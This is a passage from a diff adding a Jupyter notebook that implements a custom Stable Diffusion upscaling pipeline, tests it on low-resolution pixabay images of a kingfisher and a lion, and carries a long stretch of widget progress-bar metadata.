latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=9.0,\n", + " noise_level=20):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # preprocess image\n", + " image = self.image_processor.preprocess(image).to(self.device)\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps, device=self.device)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # add noise to image\n", + " noise_level = torch.tensor([noise_level], device=self.device)\n", + " noise = torch.randn(image.shape, device=self.device)\n", + " image = self.low_res_scheduler.add_noise(image, noise, noise_level)\n", + "\n", + " # duplicate image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " noise_level = torch.cat([noise_level] * image.shape[0])\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.vae.config.latent_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " height, width = image.shape[2:]\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " image,\n", + " timesteps,\n", + " latents,\n", + " noise_level,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16)\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = self.transform_image(image.detach()) # detach to remove any computed gradients\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "iPMCQB179EQN" + }, + "outputs": [], + "source": [ + "# get all the components from the SD Upscaler pipeline\n", + "vae = pipeline.vae\n", + "tokenizer = pipeline.tokenizer\n", + "text_encoder = pipeline.text_encoder\n", + "unet = pipeline.unet\n", + "low_res_scheduler = pipeline.low_res_scheduler\n", + "scheduler = pipeline.scheduler\n", + "image_processor = pipeline.image_processor\n", + "\n", + "custom_pipe = CustomSDUpscalingPipeline(vae, tokenizer, text_encoder, unet, low_res_scheduler, scheduler, image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "HUxdvfo7eLcq" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2017/02/07/16/47/kingfisher-2046453_640.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "SgbP2oQl9EUk", + "outputId": "b1b3d70c-58ef-497a-d87b-2c15073e4d2a" + }, + "outputs": [], + "source": [ + "prompt = \"an aesthetic kingfisher\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 145 + }, + "id": "Wf8MTwFCeRrR", + "outputId": "17827131-0f99-408e-b61d-ff802509baa9" + }, + "outputs": [], + "source": [ + "url = \"https://cdn.pixabay.com/photo/2018/07/31/22/08/lion-3576045_1280.jpg/"\n", + "shape = (200, 128)\n", + "low_res_img = get_low_res_img(url, shape)\n", + "\n", + "low_res_img" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "QzkJk4Jo9Eca", + "outputId": "a5ddbb9a-7526-48f5-f449-22e54445fae2" + }, + "outputs": [], + "source": [ + "prompt = \"a professional photograph of a lion's face\"\n", + "upscaled_image = custom_pipe(prompt=prompt, image=low_res_img)[0]\n", + "upscaled_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 529 + }, + "id": "tT3jd43tdbeg", + "outputId": "d7a8e0a7-1ed1-4c18-8b6c-b5dcbf4c4fb5" + }, + "outputs": [], + "source": [ + "upscaled_interpolation = low_res_img.resize((800, 512))\n", + "upscaled_interpolation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5JUP7spYdbh2" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "00cdbd64ce7d4b5a835a550ffc6b3510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "02ce6e12de0f4ff1ab8029cf16e5fb99": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "03856828685f4f9791a0c00f9b4f5ed5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "03b9fb0d0fa44ac8bf1a6aa678ff82c8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03bce4ac84fd40d485b023e21fe65c4f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec0c44e82a814774823e60634d678b0d", + "placeholder": "​", + "style": "IPY_MODEL_e71abb2ba1b546ff9d7acd0c174f60d4", + "value": "100%" + } + }, + "07a431a9456648b6bcbfa899ee0014ac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_639d6afb1b0440f98ce7e26cb621a111", + "max": 348, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7a9ce1cc3d71457797b0b1ca2831d514", + "value": 348 + } + }, + "080c7086e8684bb3bb857d23f426d5dd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0854db4c71b449a9b15e994a38a1ca13": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "085ee070cea44624806bcc7ada5ae36e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0a49275d970741f9b19f24569b80491a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0c21001820524963b1214a2738c28584": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ea062db0a1ad43af805bf2d86d26d369", + "IPY_MODEL_2218df295404427eb6086c25f41946c5", + "IPY_MODEL_682dc899e5ee4e24a9c0f1fc928fea6c" + ], + "layout": "IPY_MODEL_f8c3945c2c554cc9b7ea7435525c4ab4" + } + }, + "0d89ddfa9593441097ce8e42614ef775": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_665a3a25e6d543d79e2e321aec4954aa", + "placeholder": "​", + "style": "IPY_MODEL_d3971f94fa5f433580509a27ce3ad017", + "value": "Downloading (…)8440/vae/config.json: 100%" + } + }, + "0df5b95ccc3d4550bb1be7c001f54577": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0fcb664708324ec1bc56c4daa4a2dd15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5af1c44c0f434510abd7fe9d76f263da", + "placeholder": "​", + "style": "IPY_MODEL_895dd88b169e4688a51873bb1b3d2cd9", + "value": "Downloading model.safetensors: 100%" + } + }, + "10d895cb5166417fa2b4cc0d2feb7b6f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1237bd63fa814b57bbd9741296d71f46": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "17c87915e01b4d2fa79042759bf1a57d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_29fb67ab990343b6a374b35718b8a6c1", + "placeholder": "​", + "style": "IPY_MODEL_0854db4c71b449a9b15e994a38a1ca13", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "18ba1c9da9714f2494c06570e4dc1d64": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "1ae88e18373a4322bddf0e51e5460a89": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1df97f1113c34b7eb89c7d1c6a81b3bd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1e276839600443fa82ca0ab00409fd99": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1f37677826544166a0b63d36c9c3edac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a8dbb00149f148ceaee2474c4304c902", + "placeholder": "​", + "style": "IPY_MODEL_f3c0042a67e34e72b1088b60c11ba2d0", + "value": " 1.89G/1.89G [00:49<00:00, 33.0MB/s]" + } + }, + "2218df295404427eb6086c25f41946c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0df5b95ccc3d4550bb1be7c001f54577", + "max": 75, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_63a7a29ac462471eb67b275c68faff42", + "value": 75 + } + }, + "22338ed9cec54338ad33267ed579603a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a5971d5b793545a3845fbe1029b557e1", + "placeholder": "​", + "style": "IPY_MODEL_8384173365364cd5996018a775b167e2", + "value": " 75/75 [00:21<00:00, 3.57it/s]" + } + }, + "238d055bf5ff4891b2e9c6aa28a89fad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "23b55638314c4e2b967f85ab40042a6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "274e736175d34926a0c614192288e510": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bce74d8ba4dd4a35bd276ba2dbf0ffd1", + "placeholder": "​", + "style": "IPY_MODEL_f24b18d71065474a9f169b4fd66898f6", + "value": "Downloading (…)cial_tokens_map.json: 100%" + } + }, + "28c075d27bf8437c99b4fa8091d4d2c0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c883ad6804cd4f628494b1eb7f432e51", + "placeholder": "​", + "style": "IPY_MODEL_6f1c7458863047598f98861765f325dd", + "value": " 485/485 [00:00<00:00, 8.74kB/s]" + } + }, + "28fe7cfc4f4048eca1120a7228dcd629": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8f487d06f9834f1b8dd0a63ffec62436", + "max": 634, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ee5e249b357649ab95d493d940bc3b01", + "value": 634 + } + }, + "29da49469545454997e755839f8c156d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d62c5143fa1544ba9e2d22555dc6c3f9", + "placeholder": "​", + "style": "IPY_MODEL_ba72519befe047eabb826d1f7ec0e39c", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "29fb67ab990343b6a374b35718b8a6c1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2b68707a9749479cab4b4ecd124d87cb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e922ee442bc49f8b0d7d4bd79d92683": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e945d3f81204a538874a0a832102d15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2f1c260b17204c08870bac68408944c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": 